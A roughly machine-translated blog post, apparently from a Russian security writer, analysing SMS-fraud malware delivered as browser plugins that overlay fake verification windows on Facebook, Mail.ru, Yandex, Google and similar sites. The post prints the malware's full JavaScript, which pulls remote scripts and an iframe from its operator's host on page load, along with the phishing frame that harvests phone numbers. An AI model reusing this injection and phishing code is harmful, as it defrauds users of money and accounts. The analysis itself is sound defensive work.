ブラウザープラグインのセットとしてのSMSランサムウェア

先日、ブラウザ用のプラグインのセットの形で、新しいSMSランサムウェアに出会いました。 彼がどのように車に乗ったのか正確に言うことはできませんが、私は彼の中に何があるかを理解します。 IEのプラグインのコンパイル日から判断すると、この記事は今月5日から新鮮です。











したがって、この感染は上のスクリーンショットに示されているように見えます。 Facebook、Mail.ru、Yandex、Google、Rambler、クラスメート向けのバリエーションもあります。











マシンにインストールされているすべてのブラウザーに表示されます。 電話番号を入力するとき、彼は1005からSMSを送信し、「はい」と回答するように求めます。これは、回答者に135ルーブル (そして、ほとんどの場合、ごみの購読料) がかかります。 途中で、このマックはログインしているユーザーに代わって連絡先にメッセージを送信します。



「ビジネス」が何らかの品質を要求し始めたことがわかります。 各サービスは独自のウィンドウデザインを使用します。 すべてがブラウザのプラグインを介して実装されているという事実により、ユーザーは基板に自分のアカウントが表示され、ある程度の信頼が生じます。 ホストでゴミを書くことはもはや流行ではないので(学童はすでにそれを知っています)、代替アプローチが使用されました。











そのため、コンパイラは、Chrome、IE、FF用のプラグイン、Opera用のユーザースクリプトで構成されています。



内部は若干異なります。 すべてほぼ同じJavaScriptコードを実行します。



function my_addLoadEvent(func) { if(document.readyState == 'complete'){ func(); } else{ var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } } var cur_url = document.location.toString(); if('https:' == document.location.protocol) { if (typeof(testInformer) === 'undefined') { var testInformer = 1; var tstImg = new Image(); tstImg.src = 'http://dreamselfprotection.net/check.php'; tstImg.onload = function(){ var ex_url = cur_url.split('/'); var the_host = ex_url[2]; if(the_host.substr(0,4) == 'www.') the_host = the_host.substr(4); var in_hosts = { 'facebook.com' : 'facebook', 'my.mail.ru' : 'mymailru', 'otvet.mail.ru' : 'mailru', 'games.mail.ru' : 'mailru', 'love.mail.ru' : 'mailru', 'news.mail.ru' : 'mailru', 'mail.ru' : 'mailru', 'e.mail.ru' : 'mailru', 'mail.yandex.ru' : 'mailyandex', 'yandex.ru' : 'mailyandex', 'ya.ru' : 'mailyandex', 'mail.google.com' : 'gmail', 'accounts.google.com' : 'gmail', 'gmail.com' : 'gmail', 'google.com' : 'gmail', 'google.ru' : 'gmail', 'vk.com' : 'vkontakte', 'vkontakte.ru' : 'vkontakte', 'odnoklassniki.ru' : 'odnoklassniki', 'rambler.ru' : 'rambler', 'mail.rambler.ru' : 'rambler', 'nova.rambler.ru' : 'rambler', 'news.rambler.ru' : 'rambler' }; if(typeof(in_hosts[the_host]) !== 'undefined'){ my_addLoadEvent(function(){ var div = document.createElement('div'); div.style.position = 'fixed'; div.style.left = '0px'; div.style.top = '0px'; div.style.zIndex = '100000'; div.style.background = '#fff'; div.style.width = '100%'; div.style.height = '100%'; div.style.opacity = '0.8'; div.style.filter = 'alpha(opacity=80)'; var innerDiv = document.createElement('div'); innerDiv.style.position = 'fixed'; innerDiv.style.left = '50%'; innerDiv.style.top = '50%'; innerDiv.style.marginLeft = '-200px'; innerDiv.style.marginTop = '-125px'; innerDiv.style.zIndex = '100001'; innerDiv.style.background = '#fff'; innerDiv.style.width = '400px'; innerDiv.style.height = '250px'; innerDiv.innerHTML = '<iframe width="100%" height="100%" frameborder="0" scrolling="no" src="http://dreamselfprotection.net/real_iframe.php?template='+in_hosts[the_host]+'&from='+the_host+'"></iframe>'; document.getElementsByTagName('body')[0].appendChild(div); document.getElementsByTagName('body')[0].appendChild(innerDiv); }); } } } } else { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = false; sc.src = 'http://dreamselfprotection.net/iframe.php'; var b = document.getElementsByTagName('body')[0];b.appendChild(sc); }
      
      







上記のコードは、テストイメージをロードし(明らかに、サーバーがまだ動作していることを確認するだけです)、必要なパラメーターをiframeに渡し、ページの上部に挿入します。



real_iframe.php



はフレームのコンテンツを担当し、以下が生成されます:



 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="stylesheet" type="text/css" href="styles/.css?rnd=1355016550" /> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> </head> <body> <div class="header">- </div> <div id="contentBlock"> <div class="desc_text">  ip   .     . ,      .</div> <div class="regForm"> <label for="phone" class="phoneLabel">   :</label> <input type="tel" name="phone" id="phone" class="phone" /> <input type="submit" class="regButton" value="" onclick="registration();return false;" /> <div style="clear:both"></div> <div class="example">: 79161234567</div> </div> </div> <div style="clear:both"></div> <div class="error"></div> <div class="loading">...</div> <script type="text/javascript"> function keyfunc(){ alert(window.event.keyCode); } function showError(txt) { $('.error').html(txt); $('.error').fadeIn(); setTimeout('$(".error").fadeOut()',1000); } function loading(s) { if(s == 1) { $('.loading').show(); //$('.regButton').attr('disabled', 'disabled'); } else { $('.loading').hide(); //$('.regButton').removeAttr('disabled'); } } var temp = {'phone' : ''}; var mt = 1; var loaded = 0; function registration() { var reg = new RegExp("79|89", "i"); var reg2 = new RegExp("[^0-9]", "i"); var phone_num = $('#phone').val(); var hash = 'bbfae214e1fc9e75b95d64724529eeb9'; if((phone_num.length!=11) || (reg2.test(phone_num) ==true)) { showError('   '); } else { loading(1); $.post('request.php',{'c':'reg','num':phone_num,'user':hash,'from':''},function(data){ temp.phone = phone_num; var a = jQuery.parseJSON(data); if(a.redirect) { $('#contentBlock').html('<div class="desc_text">          .</div><br/><input style="margin-left:10px;" type="button" class="regButton" value="" onclick="window.open(\''+a.redirect+'#TextBoxActivationCode\',\'\',\'toolbar=0,location=0,menubar=0,directories=0,resizable=0,scrollbars=0,width=360,height=280\');" />'); } else { if(a.success) { if(a.mo) { mt = 0; moCode(); } else { mt = 1; enterCode(phone_num); } } else { showError(a.error); } } loading(0); }); //mt = 0; //moCode(); } } function moCode() { $('#contentBlock').html('<div class="desc_text"> ,     ,      .</div>' +'<div class="regForm">' +'<label for="code" class="phoneLabel"> :</label>' +'<input type="text" name="code" id="code" class="phone" />' +'<input type="button" class="regButton" onclick="checkCode()" value="" />' +'<div style="clear:both"></div>' +'<br/><a href="#" onclick="mainWindow();return false;" class="reCodeLink">  .</a>' +'</div>'); } function enterCode(phone) { if(!phone) { phone = 79; } $('.cl_info').html('     .     .'); $('.cl_form').html('<label> : </label>' +'<input type="text" value="'+phone+'" id="phone" maxlength="11" DISABLED /><br>' +'<label>: </label>' +'<input type="text" value="" id="code" maxlength=""><br/>'); $('#controlLink').html(' .').attr('onclick','mainWindow()'); $('#mbutton').attr('onclick','checkCode()'); } function mainWindow() { $('#contentBlock').html('<div class="desc_text">  ip   .     . ,      .</div>' +'<div class="regForm">' +'<label for="phone" class="phoneLabel">   :</label>' +'<input type="tel" name="phone" id="phone" class="phone" />' +'<input type="button" class="regButton" value="" onclick="registration();return false;" />' +'<div style="clear:both"></div>' +'<div class="example">: 79161234567</div>' +'</div>'); } function checkCode() { var phone = temp.phone; var code = $('#code').val(); loading(1); $.post('request.php',{'c':'code','phone':phone,'code':code,'mt':mt},function(data){ // alert(data); var a = jQuery.parseJSON(data); if(a.success) { document.location.href = '/registered.php?secret=ReallyRegistered'; } else { showError(' '); loading(0); } }); } function rand (min, max) { var argc = arguments.length; if (argc === 0) { min = 0; max = 2147483647; } else if (argc === 1) { throw new Error('Warning: rand() expects exactly 2 parameters, 1 given'); } return Math.floor(Math.random() * (max - min + 1)) + min; } </script> <div style="display:none"> <!--LiveInternet counter--><script type="text/javascript"><!-- document.write("<a href='http://www.liveinternet.ru/click' "+ "target=_blank><img src='//counter.yadro.ru/hit?t52.6;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random()+ "' alt='' title='LiveInternet: number of pageviews and visitors"+ " for 24 hours is shown' "+ "border='0' width='88' height='31'><\/a>") //--></script><!--/LiveInternet--> </div> </body> </html>
      
      







ここではすべてがほぼ透明です。 ウィンドウのコンテンツが表示され、必要なCSSがプルアップされ、フォームが検証され、有効であれば、すべてがrequest.php



に送信されます。実際には、Plastic Media LLCのゲートウェイを介してSMSが送信されます。 ここでは、2つの重要な詳細に注目してください。



1.入力されたコードの検証を実装し、ウィンドウを削除しました(テストされていません)。

2.統計はliveinternet.ruカウンターによって保持されます。



つまり、アプローチは非常に徹底的ですが、ギャップがあります:



1.展開されたサーバーは最悪です。 たとえば、タイムゾーンが設定されておらず、 phpinfoとSSHが閉じられいません 。これは、多かれ少なかれ考え抜かれたコードとはかなり対照的です。 管理者が仕事をするか、プログラマが自分でそれを行うか、何が機能するかを詳細に理解していません。 どちらの場合も、売り手はロバに連れて行かれる可能性があります。

2.このことは、そのカルマを売り手に破ることが保証されているという事実にもかかわらず、そしておそらくカルマより少し多くは、まともなお金をもたらします。 そうでなければ、このがらくたの開発者はポピーのCS6 Photoshop(ライセンスされたという事実ではない)に座っていなかっただろう。 ところで、アドビはすべての写真にユニークなハッシュを埋め込みます。 理論的には、彼らはろくでなしを識別することができます。



正直に言うと、私はこれらすべてをどうしたらいいのかわかりませんが、それが面白かったと思います。



All Articles